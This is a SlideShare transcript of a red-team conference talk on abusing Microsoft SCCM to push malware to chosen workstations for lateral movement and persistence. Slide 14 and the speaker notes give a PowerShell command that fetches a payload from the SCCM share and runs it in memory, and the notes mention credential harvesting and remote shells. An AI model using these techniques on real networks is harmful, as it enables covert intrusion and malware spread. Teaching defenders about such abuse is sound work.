SlideShare a Scribd company logo
1 of 17
Red Team Upgrades:
Using SCCM for Malware Deployment
@enigma0x3
❖ Penetration Tester and Red Teamer for the Adaptive
Threat Division (ATD) of Veris Group
❖ Active developer on the PowerShell Empire project
❖ Offensive PowerShell advocate
❖ 2nd time speaking!
❖ This con is probably older than I am
❖ Indiana corn farmer turned h4x0r (not really)
❖ What is SCCM and how some admins fail at securing it
❖ Ways to abuse Microsoft’s System Center Configuration
Manager (SCCM) for targeted network compromise.
➢ I’m going to cover targeted, strategic use as opposed to mass pwnage
What this is...
Setting the Stage
❖ This talk assumes you have RDP access to a SCCM
server
❖ This talk is focused on abusing SCCM for lateral
movement/persistence in a targeted manner, not
obtaining access to SCCM.
❖ No, having access to SCCM does not mean you own the
enterprise
❖ If you administer SCCM as a domain admin, you fail.
What is SCCM?
❖ Platform for distributing packages/applications to clients
❖ Packages, applications and install scripts are hosted on
the SCCM server
❖ Setup and maintained via an agent/server architecture
❖ Consists of a central site server with distribution points.
➢ Agents check in to server periodically to obtain new
packages/applications
❖ Basically acts as internal RAT/C2
SCCM in the enterprise
❖ 1 central site server with multiple distribution points
❖ Typically managed via controlled groups
➢ e.g. “SCCM Admins” in AD
❖ Typically setup/configured using a service account to run
the application/push updates
❖ Application contents (*cough, cough install scripts and
notes*) are hosted on a publicly available share
❖ Admins gonna admin
Right Click Tools
❖ Add-On that can be installed to assist in client
management tasks
❖ Should be installed on a client such as an administrative
workstation...not on the server
➢ Admins install it on the server anyways
❖ Enables full control of managed endpoints
Yep...
Why use SCCM in Red Teaming?
❖ Manages a ton of distributed clients
➢ Take control of the server and you have distributed workstation control
➢ SCCM agents are just waiting to run your code
❖ Live off of the land
➢ Keep your malicious implant count low, use SCCM for very targeted
implant distribution
➢ Looks like normal day-to-day traffic/activity
➢ To limit the risk of getting caught, become an admin and not a typical
adversary
Why use SCCM in Red Teaming? (cont)
❖ Allows you to identify and strategically group targets
➢ Able to push implants out in a very controlled and surgical manner
❖ Also acts as a persistence mechanism
Abusing SCCM: Hunting
❖ Some organizations have user->device mapping
➢ This allows for admins to create specific groups for departments
❖ We can abuse this to hunt for specific users without
generating any additional network/domain traffic
Abusing SCCM: Compromise
❖ Create an application/package that utilizes PowerShell for
payload delivery and execution
❖ Do so by creating a PowerShell payload and throw it up
on the public share SCCM uses (typically something like
sccmsource)
Abusing SCCM: Compromise
❖ Create a script installer application to fetch and execute
your payload
➢ cmd.exe /c “powershell.exe -c “gc
serverNamesharedFolderApplicationFolderpayload.txt | iex””
❖ Deploy the application to your target group and wait for
the SCCM agents to check in
➢ Payload is fetched over UNC and runs in memory
❖ More here:
➢ https://enigma0x3.wordpress.com/2015/10/27/targeted-workstation-
compromise-with-sccm/
Questions and Contact
❖ Feel free to hit me up!
❖ enigma0x3 [at] gmail [dot] com
❖ @enigma0x3 on Twitter and Github
❖ enigma0x3 on Freenode: #psempire
❖ Blog: enigma0x3.wordpress.com
References
❖ https://www.trustedsec.com/files/Owning_One_Rule_All_v2.pdf
❖ https://enigma0x3.wordpress.com/2015/10/27/targeted-workstation-
compromise-with-sccm/

More Related Content

What's hot

Free radius for wpa2 enterprise with active directory integration
Free radius for wpa2 enterprise with active directory integrationFree radius for wpa2 enterprise with active directory integration
Free radius for wpa2 enterprise with active directory integration
Chanaka Lasantha
 
Reference Architecture-Validated & Tested Approach to Define Network Design
Reference Architecture-Validated & Tested Approach to Define Network DesignReference Architecture-Validated & Tested Approach to Define Network Design
Reference Architecture-Validated & Tested Approach to Define Network Design
DataWorks Summit
 

What's hot (20)

NGINX Plus on AWS
NGINX Plus on AWSNGINX Plus on AWS
NGINX Plus on AWS
 
SIEM Architecture
SIEM ArchitectureSIEM Architecture
SIEM Architecture
 
How to Get Started With NGINX
How to Get Started With NGINXHow to Get Started With NGINX
How to Get Started With NGINX
 
Free radius for wpa2 enterprise with active directory integration
Free radius for wpa2 enterprise with active directory integrationFree radius for wpa2 enterprise with active directory integration
Free radius for wpa2 enterprise with active directory integration
 
Introduction to SIEM.pptx
Introduction to SIEM.pptxIntroduction to SIEM.pptx
Introduction to SIEM.pptx
 
The Elastic Stack as a SIEM
The Elastic Stack as a SIEMThe Elastic Stack as a SIEM
The Elastic Stack as a SIEM
 
Threat hunting and achieving security maturity
Threat hunting and achieving security maturityThreat hunting and achieving security maturity
Threat hunting and achieving security maturity
 
DevOps with Ansible
DevOps with AnsibleDevOps with Ansible
DevOps with Ansible
 
SOAR and SIEM.pptx
SOAR and SIEM.pptxSOAR and SIEM.pptx
SOAR and SIEM.pptx
 
Bsides 2019 - Intelligent Threat Hunting
Bsides 2019 - Intelligent Threat HuntingBsides 2019 - Intelligent Threat Hunting
Bsides 2019 - Intelligent Threat Hunting
 
Bypass_AV-EDR.pdf
Bypass_AV-EDR.pdfBypass_AV-EDR.pdf
Bypass_AV-EDR.pdf
 
Automation with ansible
Automation with ansibleAutomation with ansible
Automation with ansible
 
Owasp Top 10
Owasp Top 10Owasp Top 10
Owasp Top 10
 
Ansible Introduction
Ansible Introduction Ansible Introduction
Ansible Introduction
 
Windows Forensic 101
Windows Forensic 101Windows Forensic 101
Windows Forensic 101
 
Security Exploit of Business Logic Flaws, Business Logic Attacks
Security Exploit of Business Logic Flaws, Business Logic AttacksSecurity Exploit of Business Logic Flaws, Business Logic Attacks
Security Exploit of Business Logic Flaws, Business Logic Attacks
 
[2018] 오픈스택 5년 운영의 경험
[2018] 오픈스택 5년 운영의 경험[2018] 오픈스택 5년 운영의 경험
[2018] 오픈스택 5년 운영의 경험
 
Reverse proxy & web cache with NGINX, HAProxy and Varnish
Reverse proxy & web cache with NGINX, HAProxy and VarnishReverse proxy & web cache with NGINX, HAProxy and Varnish
Reverse proxy & web cache with NGINX, HAProxy and Varnish
 
Reference Architecture-Validated & Tested Approach to Define Network Design
Reference Architecture-Validated & Tested Approach to Define Network DesignReference Architecture-Validated & Tested Approach to Define Network Design
Reference Architecture-Validated & Tested Approach to Define Network Design
 
A Threat Hunter Himself
A Threat Hunter HimselfA Threat Hunter Himself
A Threat Hunter Himself
 

Similar to Red team upgrades using sccm for malware deployment

PSU Security Conference 2015 - LAPS Presentation
PSU Security Conference 2015 - LAPS PresentationPSU Security Conference 2015 - LAPS Presentation
PSU Security Conference 2015 - LAPS Presentation
Dan Barr
 
Exploiting Active Directory Administrator Insecurities
Exploiting Active Directory Administrator InsecuritiesExploiting Active Directory Administrator Insecurities
Exploiting Active Directory Administrator Insecurities
Priyanka Aash
 

Similar to Red team upgrades using sccm for malware deployment (20)

Up is Down, Black is White: Using SCCM for Wrong and Right
Up is Down, Black is White: Using SCCM for Wrong and RightUp is Down, Black is White: Using SCCM for Wrong and Right
Up is Down, Black is White: Using SCCM for Wrong and Right
 
Prometheus and Docker (Docker Galway, November 2015)
Prometheus and Docker (Docker Galway, November 2015)Prometheus and Docker (Docker Galway, November 2015)
Prometheus and Docker (Docker Galway, November 2015)
 
Channel Distribution Management System
Channel Distribution Management SystemChannel Distribution Management System
Channel Distribution Management System
 
Bridging the Gap
Bridging the GapBridging the Gap
Bridging the Gap
 
Moving Legacy Apps to Cloud: How to Avoid Risk
Moving Legacy Apps to Cloud: How to Avoid RiskMoving Legacy Apps to Cloud: How to Avoid Risk
Moving Legacy Apps to Cloud: How to Avoid Risk
 
Bridging the Gap: Lessons in Adversarial Tradecraft
Bridging the Gap: Lessons in Adversarial TradecraftBridging the Gap: Lessons in Adversarial Tradecraft
Bridging the Gap: Lessons in Adversarial Tradecraft
 
Towards the Cloud: Architecture Patterns and VDI Story
Towards the Cloud: Architecture Patterns and VDI StoryTowards the Cloud: Architecture Patterns and VDI Story
Towards the Cloud: Architecture Patterns and VDI Story
 
PowerShell: The increased use of PowerShell in cyber attacks
PowerShell: The increased use of PowerShell in cyber attacksPowerShell: The increased use of PowerShell in cyber attacks
PowerShell: The increased use of PowerShell in cyber attacks
 
rsa-usa-2019-keynote-paula-januszkiewicz
rsa-usa-2019-keynote-paula-januszkiewiczrsa-usa-2019-keynote-paula-januszkiewicz
rsa-usa-2019-keynote-paula-januszkiewicz
 
The WordPress Hosting experience - Bought cheaply and paid dearly? - Jan Löf...
The WordPress Hosting experience - Bought cheaply and paid dearly? - Jan Löf...The WordPress Hosting experience - Bought cheaply and paid dearly? - Jan Löf...
The WordPress Hosting experience - Bought cheaply and paid dearly? - Jan Löf...
 
PSU Security Conference 2015 - LAPS Presentation
PSU Security Conference 2015 - LAPS PresentationPSU Security Conference 2015 - LAPS Presentation
PSU Security Conference 2015 - LAPS Presentation
 
Building and Adopting a Cloud-Native Security Program
Building and Adopting a Cloud-Native Security ProgramBuilding and Adopting a Cloud-Native Security Program
Building and Adopting a Cloud-Native Security Program
 
VMware End-User-Computing Best Practices Poster
VMware End-User-Computing Best Practices PosterVMware End-User-Computing Best Practices Poster
VMware End-User-Computing Best Practices Poster
 
Wissbi osdc pdf
Wissbi osdc pdfWissbi osdc pdf
Wissbi osdc pdf
 
Tokyo azure meetup #12 service fabric internals
Tokyo azure meetup #12   service fabric internalsTokyo azure meetup #12   service fabric internals
Tokyo azure meetup #12 service fabric internals
 
The Great Disconnect of Data Protection: Perception, Reality and Best Practices
The Great Disconnect of Data Protection: Perception, Reality and Best PracticesThe Great Disconnect of Data Protection: Perception, Reality and Best Practices
The Great Disconnect of Data Protection: Perception, Reality and Best Practices
 
Top 10 Ways To Make Hackers Excited: All About The Shortcuts Not Worth Taking
Top 10 Ways To Make Hackers Excited: All About The Shortcuts Not Worth TakingTop 10 Ways To Make Hackers Excited: All About The Shortcuts Not Worth Taking
Top 10 Ways To Make Hackers Excited: All About The Shortcuts Not Worth Taking
 
Docker Swarm secrets for creating great FIWARE platforms
Docker Swarm secrets for creating great FIWARE platformsDocker Swarm secrets for creating great FIWARE platforms
Docker Swarm secrets for creating great FIWARE platforms
 
Llunitebe2018 best of_two_worlds-manage.your.servers.the.azure.or.configmgr.way
Llunitebe2018 best of_two_worlds-manage.your.servers.the.azure.or.configmgr.wayLlunitebe2018 best of_two_worlds-manage.your.servers.the.azure.or.configmgr.way
Llunitebe2018 best of_two_worlds-manage.your.servers.the.azure.or.configmgr.way
 
Exploiting Active Directory Administrator Insecurities
Exploiting Active Directory Administrator InsecuritiesExploiting Active Directory Administrator Insecurities
Exploiting Active Directory Administrator Insecurities
 

Recently uploaded

Call Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort ServiceCall Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
9953056974 Low Rate Call Girls In Saket, Delhi NCR
 
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
nirzagarg
 
6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...
6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...
6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...
@Chandigarh #call #Girls 9053900678 @Call #Girls in @Punjab 9053900678
 
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
dharasingh5698
 
➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men 🔝mehsana🔝 Escorts...
➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men  🔝mehsana🔝   Escorts...➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men  🔝mehsana🔝   Escorts...
➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men 🔝mehsana🔝 Escorts...
nirzagarg
 

Recently uploaded (20)

Ganeshkhind ! Call Girls Pune - 450+ Call Girl Cash Payment 8005736733 Neha T...
Ganeshkhind ! Call Girls Pune - 450+ Call Girl Cash Payment 8005736733 Neha T...Ganeshkhind ! Call Girls Pune - 450+ Call Girl Cash Payment 8005736733 Neha T...
Ganeshkhind ! Call Girls Pune - 450+ Call Girl Cash Payment 8005736733 Neha T...
 
Nanded City ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready ...
Nanded City ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready ...Nanded City ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready ...
Nanded City ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready ...
 
Call Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort ServiceCall Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
 
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
 
Katraj ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For S...
Katraj ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For S...Katraj ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For S...
Katraj ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For S...
 
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrStory Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
 
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
 
6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...
6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...
6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...
 
WhatsApp 📞 8448380779 ✅Call Girls In Mamura Sector 66 ( Noida)
WhatsApp 📞 8448380779 ✅Call Girls In Mamura Sector 66 ( Noida)WhatsApp 📞 8448380779 ✅Call Girls In Mamura Sector 66 ( Noida)
WhatsApp 📞 8448380779 ✅Call Girls In Mamura Sector 66 ( Noida)
 
APNIC Updates presented by Paul Wilson at ARIN 53
APNIC Updates presented by Paul Wilson at ARIN 53APNIC Updates presented by Paul Wilson at ARIN 53
APNIC Updates presented by Paul Wilson at ARIN 53
 
20240509 QFM015 Engineering Leadership Reading List April 2024.pdf
20240509 QFM015 Engineering Leadership Reading List April 2024.pdf20240509 QFM015 Engineering Leadership Reading List April 2024.pdf
20240509 QFM015 Engineering Leadership Reading List April 2024.pdf
 
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
 
➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men 🔝mehsana🔝 Escorts...
➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men  🔝mehsana🔝   Escorts...➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men  🔝mehsana🔝   Escorts...
➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men 🔝mehsana🔝 Escorts...
 
Shikrapur - Call Girls in Pune Neha 8005736733 | 100% Gennuine High Class Ind...
Shikrapur - Call Girls in Pune Neha 8005736733 | 100% Gennuine High Class Ind...Shikrapur - Call Girls in Pune Neha 8005736733 | 100% Gennuine High Class Ind...
Shikrapur - Call Girls in Pune Neha 8005736733 | 100% Gennuine High Class Ind...
 
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
 
Hire↠Young Call Girls in Tilak nagar (Delhi) ☎️ 9205541914 ☎️ Independent Esc...
Hire↠Young Call Girls in Tilak nagar (Delhi) ☎️ 9205541914 ☎️ Independent Esc...Hire↠Young Call Girls in Tilak nagar (Delhi) ☎️ 9205541914 ☎️ Independent Esc...
Hire↠Young Call Girls in Tilak nagar (Delhi) ☎️ 9205541914 ☎️ Independent Esc...
 
Microsoft Azure Arc Customer Deck Microsoft
Microsoft Azure Arc Customer Deck MicrosoftMicrosoft Azure Arc Customer Deck Microsoft
Microsoft Azure Arc Customer Deck Microsoft
 
Dubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls Dubai
Dubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls DubaiDubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls Dubai
Dubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls Dubai
 
𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
 
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
 

Red team upgrades using sccm for malware deployment

  • 1. Red Team Upgrades: Using SCCM for Malware Deployment
  • 2. @enigma0x3 ❖ Penetration Tester and Red Teamer for the Adaptive Threat Division (ATD) of Veris Group ❖ Active developer on the PowerShell Empire project ❖ Offensive PowerShell advocate ❖ 2nd time speaking! ❖ This con is probably older than I am ❖ Indiana corn farmer turned h4x0r (not really)
  • 3. ❖ What is SCCM and how some admins fail at securing it ❖ Ways to abuse Microsoft’s System Center Configuration Manager (SCCM) for targeted network compromise. ➢ I’m going to cover targeted, strategic use as opposed to mass pwnage What this is...
  • 4. Setting the Stage ❖ This talk assumes you have RDP access to a SCCM server ❖ This talk is focused on abusing SCCM for lateral movement/persistence in a targeted manner, not obtaining access to SCCM. ❖ No, having access to SCCM does not mean you own the enterprise ❖ If you administer SCCM as a domain admin, you fail.
  • 5. What is SCCM? ❖ Platform for distributing packages/applications to clients ❖ Packages, applications and install scripts are hosted on the SCCM server ❖ Setup and maintained via an agent/server architecture ❖ Consists of a central site server with distribution points. ➢ Agents check in to server periodically to obtain new packages/applications ❖ Basically acts as internal RAT/C2
  • 6. SCCM in the enterprise ❖ 1 central site server with multiple distribution points ❖ Typically managed via controlled groups ➢ e.g. “SCCM Admins” in AD ❖ Typically setup/configured using a service account to run the application/push updates ❖ Application contents (*cough, cough install scripts and notes*) are hosted on a publicly available share ❖ Admins gonna admin
  • 7.
  • 8. Right Click Tools ❖ Add-On that can be installed to assist in client management tasks ❖ Should be installed on a client such as an administrative workstation...not on the server ➢ Admins install it on the server anyways ❖ Enables full control of managed endpoints
  • 10. Why use SCCM in Red Teaming? ❖ Manages a ton of distributed clients ➢ Take control of the server and you have distributed workstation control ➢ SCCM agents are just waiting to run your code ❖ Live off of the land ➢ Keep your malicious implant count low, use SCCM for very targeted implant distribution ➢ Looks like normal day-to-day traffic/activity ➢ To limit the risk of getting caught, become an admin and not a typical adversary
  • 11. Why use SCCM in Red Teaming? (cont) ❖ Allows you to identify and strategically group targets ➢ Able to push implants out in a very controlled and surgical manner ❖ Also acts as a persistence mechanism
  • 12. Abusing SCCM: Hunting ❖ Some organizations have user->device mapping ➢ This allows for admins to create specific groups for departments ❖ We can abuse this to hunt for specific users without generating any additional network/domain traffic
  • 13. Abusing SCCM: Compromise ❖ Create an application/package that utilizes PowerShell for payload delivery and execution ❖ Do so by creating a PowerShell payload and throw it up on the public share SCCM uses (typically something like sccmsource)
  • 14. Abusing SCCM: Compromise ❖ Create a script installer application to fetch and execute your payload ➢ cmd.exe /c “powershell.exe -c “gc serverNamesharedFolderApplicationFolderpayload.txt | iex”” ❖ Deploy the application to your target group and wait for the SCCM agents to check in ➢ Payload is fetched over UNC and runs in memory ❖ More here: ➢ https://enigma0x3.wordpress.com/2015/10/27/targeted-workstation- compromise-with-sccm/
  • 15.
  • 16. Questions and Contact ❖ Feel free to hit me up! ❖ enigma0x3 [at] gmail [dot] com ❖ @enigma0x3 on Twitter and Github ❖ enigma0x3 on Freenode: #psempire ❖ Blog: enigma0x3.wordpress.com

Editor's Notes

  1. Very targeted, strategic use instead of mass compromise
  2. -External? Grab some workstation, reverse SSH tunnel w/ RDP access, RDP from there into SCCM server -This is solely post-exploitation/maintaining access (3:00)
  3. service account/LA credentials often in install scripts/notes
  4. (6:00)
  5. -If installed, basically your own internal C2 controller -List running processes, system information, registry access, SYSTEM command shell
  6. -Uses Psexec, which is naughty on red teams… -This shell doesn’t work unless they put psexec on the server...meaning if it exists, it will likely blend in just fine.
  7. Might have access to all distribution points as well as central site server due to administration overhead (9:00)
  8. -If an application remains pushed out, hosts will continue to execute it during their normal checkins
  9. -An open share is a common setup as the SCCM agents have to grab the deployed installation packages somehow. -powershell reaches out over unc to grab contents of text file and execute (12:00)
  10. (13:00)
  11. (1:45 demo)